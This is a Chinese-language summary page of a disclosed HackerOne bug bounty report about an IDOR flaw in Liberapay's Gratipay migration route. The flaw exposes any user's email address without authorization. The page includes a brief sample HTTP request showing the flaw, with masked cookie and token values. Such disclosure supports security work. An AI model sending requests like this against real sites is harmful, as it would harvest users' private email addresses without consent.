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Email Address Exposure via Gratipay Migration Tool

不安全的直接对象引用 / IDOR / #1727044

厂商
Liberapay
严重程度
低危 · CVSS 5.3
赏金
$100
弱点
IDOR
研究员
@suprnova
披露日期
2022-10-09
资产
*.liberapay.com
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2541 字符中的一小部分)
Through the `/migrate` route, an attacker can input the username of any user on the site and retrieve their primary email address without any authorization required.
原文中的代码
POST /migrate?step=2 HTTP/1.1
Host: liberapay.com
Cookie: XXXXXXX
X-CSRF-TOKEN: XXXXXXX
Content-Type: application/x-www-form-urlencoded

[email protected]&username=suprnova

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Liberapay 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @suprnova · 版权归作者与 Liberapay 所有

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